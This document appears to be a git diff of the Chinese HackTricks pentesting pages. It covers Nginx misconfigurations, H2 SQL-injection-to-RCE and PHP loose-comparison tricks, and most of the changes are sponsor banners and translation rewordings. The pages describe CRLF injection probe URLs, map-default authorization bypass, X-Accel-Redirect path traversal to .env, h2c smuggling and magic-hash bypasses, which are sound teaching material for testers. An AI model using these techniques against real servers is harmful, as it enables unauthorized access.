您可以使用工具,例如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对**黑客职业**和破解不可破解的东西感兴趣 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
#### 从黑客的角度看您的Web应用程序、网络和云
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
**查找并报告具有实际商业影响的关键、可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
### HackTricks自动命令
|
### HackTricks自动命令
|
||||||
```
|
```
|
||||||
|
@ -443,7 +447,7 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,15 +15,19 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
官方网站:[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
官方网站:[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||||
|
|
||||||
## 访问
|
## 访问
|
||||||
|
|
||||||
您可以指示一个**不存在的数据库名称**以**在没有有效凭据的情况下创建新数据库**(**未认证**):
|
您可以指定一个**不存在的数据库名称**以**在没有有效凭据的情况下创建新数据库**(**未认证**):
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (131).png>)
|
![](<../../.gitbook/assets/image (131).png>)
|
||||||
|
|
||||||
或者如果您知道例如**mysql正在运行**,并且您知道该数据库的**名称**和**凭据**,您可以直接访问它:
|
或者如果您知道例如**mysql正在运行**并且您知道**数据库名称**和该数据库的**凭据**,您可以直接访问它:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (201).png>)
|
![](<../../.gitbook/assets/image (201).png>)
|
||||||
|
|
||||||
|
@ -35,7 +39,7 @@ _**来自HTB的Hawk盒子的技巧。**_
|
||||||
|
|
||||||
## H2 SQL注入到RCE
|
## H2 SQL注入到RCE
|
||||||
|
|
||||||
在[**这篇文章**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)中,解释了一种有效载荷,通过利用**SQL注入**获取**通过H2数据库的RCE**。
|
在[**这篇文章**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)中,解释了一种有效载荷以通过H2数据库获取**RCE**,利用**SQL注入**。
|
||||||
```json
|
```json
|
||||||
[...]
|
[...]
|
||||||
"details":
|
"details":
|
||||||
|
@ -46,16 +50,20 @@ _**来自HTB的Hawk盒子的技巧。**_
|
||||||
},
|
},
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -10,18 +10,20 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 缺失的根目录 <a href="#missing-root-location" id="missing-root-location"></a>
|
## 缺失的根位置 <a href="#missing-root-location" id="missing-root-location"></a>
|
||||||
|
|
||||||
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基础目录发挥着关键作用。考虑以下示例:
|
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基础目录发挥着关键作用。考虑以下示例:
|
||||||
```bash
|
```bash
|
||||||
|
@ -66,7 +68,7 @@ alias../ => HTTP status code 403
|
||||||
```
|
```
|
||||||
## 不安全的路径限制 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
## 不安全的路径限制 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||||
|
|
||||||
查看以下页面以了解如何绕过以下指令:
|
查看以下页面以了解如何绕过指令,例如:
|
||||||
```plaintext
|
```plaintext
|
||||||
location = /admin {
|
location = /admin {
|
||||||
deny all;
|
deny all;
|
||||||
|
@ -100,7 +102,7 @@ location / {
|
||||||
return 302 https://example.com$uri;
|
return 302 https://example.com$uri;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
在HTTP请求中,字符\r(回车)和\n(换行)表示新行字符,它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器,会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符,从而导致响应中出现意外的头:
|
在HTTP请求中,字符\r(回车)和\n(换行)表示新行字符,它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符,从而导致响应中出现意外的头:
|
||||||
```
|
```
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Server: nginx/1.19.3
|
Server: nginx/1.19.3
|
||||||
|
@ -112,7 +114,7 @@ Detectify: clrf
|
||||||
```
|
```
|
||||||
了解有关 CRLF 注入和响应拆分风险的更多信息,请访问 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)。
|
了解有关 CRLF 注入和响应拆分风险的更多信息,请访问 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)。
|
||||||
|
|
||||||
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77),提供了一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
|
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) 了,其中包含一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
|
||||||
|
|
||||||
* `https://example.com/%20X` - 任何 HTTP 代码
|
* `https://example.com/%20X` - 任何 HTTP 代码
|
||||||
* `https://example.com/%20H` - 400 错误请求
|
* `https://example.com/%20H` - 400 错误请求
|
||||||
|
@ -124,9 +126,9 @@ Detectify: clrf
|
||||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任何 HTTP 代码
|
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任何 HTTP 代码
|
||||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 错误请求
|
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 错误请求
|
||||||
|
|
||||||
在该演讲中发现的一些易受攻击的配置是:
|
在该演讲中发现的一些易受攻击的配置包括:
|
||||||
|
|
||||||
* 注意 **`$uri`** 在最终 URL 中是如何设置的。
|
* 注意 **`$uri`** 在最终 URL 中是如何设置的
|
||||||
```
|
```
|
||||||
location ^~ /lite/api/ {
|
location ^~ /lite/api/ {
|
||||||
proxy_pass http://lite-backend$uri$is_args$args;
|
proxy_pass http://lite-backend$uri$is_args$args;
|
||||||
|
@ -146,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
||||||
```
|
```
|
||||||
### Any variable
|
### Any variable
|
||||||
|
|
||||||
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中被强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。
|
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中得到了强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。
|
||||||
|
|
||||||
要**检测此错误配置**,可以执行以下命令,该命令涉及设置引用头以测试变量打印:
|
要**检测此错误配置**,可以执行以下命令,该命令涉及设置引用头以测试变量打印:
|
||||||
```bash
|
```bash
|
||||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||||
```
|
```
|
||||||
扫描此配置错误的系统揭示了多个实例,其中用户可以打印Nginx变量。然而,易受攻击实例数量的减少表明修补此问题的努力在某种程度上取得了成功。
|
扫描此配置错误的系统揭示了多个实例,其中用户可以打印Nginx变量。然而,易受攻击实例数量的减少表明,修补此问题的努力已取得了一定成功。
|
||||||
|
|
||||||
## 原始后端响应读取
|
## 原始后端响应读取
|
||||||
|
|
||||||
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端生成的错误和HTTP头,旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而,当Nginx遇到无效的HTTP请求时,会出现挑战。这样的请求会按原样转发到后端,后端的原始响应随后直接发送给客户端,而不经过Nginx的干预。
|
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端产生的错误和HTTP头,旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而,当Nginx遇到无效的HTTP请求时,会出现挑战。这样的请求会按原样转发到后端,后端的原始响应随后直接发送给客户端,而不经过Nginx的干预。
|
||||||
|
|
||||||
考虑一个涉及uWSGI应用的示例场景:
|
考虑一个涉及uWSGI应用的示例场景:
|
||||||
```python
|
```python
|
||||||
|
@ -181,13 +183,13 @@ proxy_hide_header Secret-Header;
|
||||||
|
|
||||||
默认情况下,Nginx 的 **`merge_slashes` 指令** 设置为 **`on`**,这会将 URL 中的多个正斜杠压缩为一个斜杠。此功能虽然简化了 URL 处理,但可能无意中掩盖了 Nginx 后面应用程序中的漏洞,特别是那些容易受到本地文件包含 (LFI) 攻击的应用程序。安全专家 **Danny Robinson 和 Rotem Bar** 强调了与此默认行为相关的潜在风险,尤其是当 Nginx 作为反向代理时。
|
默认情况下,Nginx 的 **`merge_slashes` 指令** 设置为 **`on`**,这会将 URL 中的多个正斜杠压缩为一个斜杠。此功能虽然简化了 URL 处理,但可能无意中掩盖了 Nginx 后面应用程序中的漏洞,特别是那些容易受到本地文件包含 (LFI) 攻击的应用程序。安全专家 **Danny Robinson 和 Rotem Bar** 强调了与此默认行为相关的潜在风险,尤其是当 Nginx 作为反向代理时。
|
||||||
|
|
||||||
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不更改 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
|
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不改变 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
|
||||||
|
|
||||||
有关更多信息,请查看 [Danny Robinson 和 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)。
|
有关更多信息,请查看 [Danny Robinson 和 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)。
|
||||||
|
|
||||||
### **恶意响应头**
|
### **Maclicious 响应头**
|
||||||
|
|
||||||
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果某些头出现在来自 Web 服务器的响应中,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果 Web 服务器的响应中存在某些头,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||||
|
|
||||||
* `X-Accel-Redirect`: 指示 Nginx 将请求内部重定向到指定位置。
|
* `X-Accel-Redirect`: 指示 Nginx 将请求内部重定向到指定位置。
|
||||||
* `X-Accel-Buffering`: 控制 Nginx 是否应缓冲响应。
|
* `X-Accel-Buffering`: 控制 Nginx 是否应缓冲响应。
|
||||||
|
@ -197,7 +199,7 @@ proxy_hide_header Secret-Header;
|
||||||
|
|
||||||
例如,头 **`X-Accel-Redirect`** 将导致 Nginx 内部 **重定向**。因此,具有类似 **`root /`** 的 Nginx 配置和来自 Web 服务器的响应 **`X-Accel-Redirect: .env`** 将使 Nginx 发送 **`/.env`** 的内容(路径遍历)。
|
例如,头 **`X-Accel-Redirect`** 将导致 Nginx 内部 **重定向**。因此,具有类似 **`root /`** 的 Nginx 配置和来自 Web 服务器的响应 **`X-Accel-Redirect: .env`** 将使 Nginx 发送 **`/.env`** 的内容(路径遍历)。
|
||||||
|
|
||||||
### **映射指令中的默认值**
|
### **Map 指令中的默认值**
|
||||||
|
|
||||||
在 **Nginx 配置**中,`map` 指令通常在 **授权控制** 中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如:
|
在 **Nginx 配置**中,`map` 指令通常在 **授权控制** 中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如:
|
||||||
```yaml
|
```yaml
|
||||||
|
@ -218,7 +220,7 @@ return 200 "Hello. It is private area: $mappocallow";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
没有 `default`,**恶意用户**可以通过访问 `/map-poc` 中的 **未定义 URI** 来绕过安全性。[Nginx 手册](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) 建议设置 **默认值** 以避免此类问题。
|
没有 `default`,**恶意用户** 可以通过访问 `/map-poc` 中的 **未定义 URI** 来绕过安全性。[Nginx 手册](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) 建议设置 **默认值** 以避免此类问题。
|
||||||
|
|
||||||
### **DNS 欺骗漏洞**
|
### **DNS 欺骗漏洞**
|
||||||
|
|
||||||
|
@ -228,11 +230,11 @@ resolver 8.8.8.8;
|
||||||
```
|
```
|
||||||
### **`proxy_pass` 和 `internal` 指令**
|
### **`proxy_pass` 和 `internal` 指令**
|
||||||
|
|
||||||
**`proxy_pass`** 指令用于将请求重定向到其他服务器,无论是内部还是外部。**`internal`** 指令确保某些位置仅在 Nginx 内部可访问。虽然这些指令本身并不是漏洞,但其配置需要仔细检查以防止安全漏洞。
|
**`proxy_pass`** 指令用于将请求重定向到其他服务器,无论是内部还是外部。**`internal`** 指令确保某些位置仅在 Nginx 内部可访问。虽然这些指令本身并不是漏洞,但其配置需要仔细检查,以防止安全漏洞。
|
||||||
|
|
||||||
## proxy\_set\_header Upgrade & Connection
|
## proxy\_set\_header Upgrade & Connection
|
||||||
|
|
||||||
如果 nginx 服务器配置为传递 Upgrade 和 Connection 头,则可以执行 [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) 来访问受保护/内部端点。
|
如果 nginx 服务器配置为传递 Upgrade 和 Connection 头,则可以执行 [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) 来访问受保护的/内部端点。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
此漏洞将允许攻击者 **与 `proxy_pass` 端点建立直接连接**(在此情况下为 `http://backend:9999`),其内容不会被 nginx 检查。
|
此漏洞将允许攻击者 **与 `proxy_pass` 端点建立直接连接**(在此情况下为 `http://backend:9999`),其内容不会被 nginx 检查。
|
||||||
|
@ -259,7 +261,7 @@ deny all;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此,proxy_pass 的 URL 中指定路径并不重要。**
|
注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接仍将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此,proxy_pass 的 URL 中指定路径并不重要。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 尝试一下
|
## 尝试一下
|
||||||
|
@ -286,7 +288,9 @@ Nginxpwner 是一个简单的工具,用于查找常见的 Nginx 错误配置
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# PHP Tricks
|
# PHP Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,14 +10,18 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Cookies 常见位置:
|
## Cookies 常见位置:
|
||||||
|
|
||||||
|
@ -39,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||||
|
|
||||||
### 松散比较/类型转换 ( == )
|
### 松散比较/类型转换 ( == )
|
||||||
|
|
||||||
如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
||||||
|
|
||||||
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||||
|
|
||||||
|
@ -49,8 +53,8 @@ PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://w
|
||||||
|
|
||||||
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
|
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
|
||||||
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)
|
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)
|
||||||
* `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
|
* `"0e3264578" == 0 --> True` 以 "0e" 开头并后跟任何内容的字符串将等于 0
|
||||||
* `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)并后跟任何内容的字符串将等于 0
|
* `"0X3264578" == 0X --> True` 以 "0" 开头并后跟任何字母(X 可以是任何字母)并后跟任何内容的字符串将等于 0
|
||||||
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
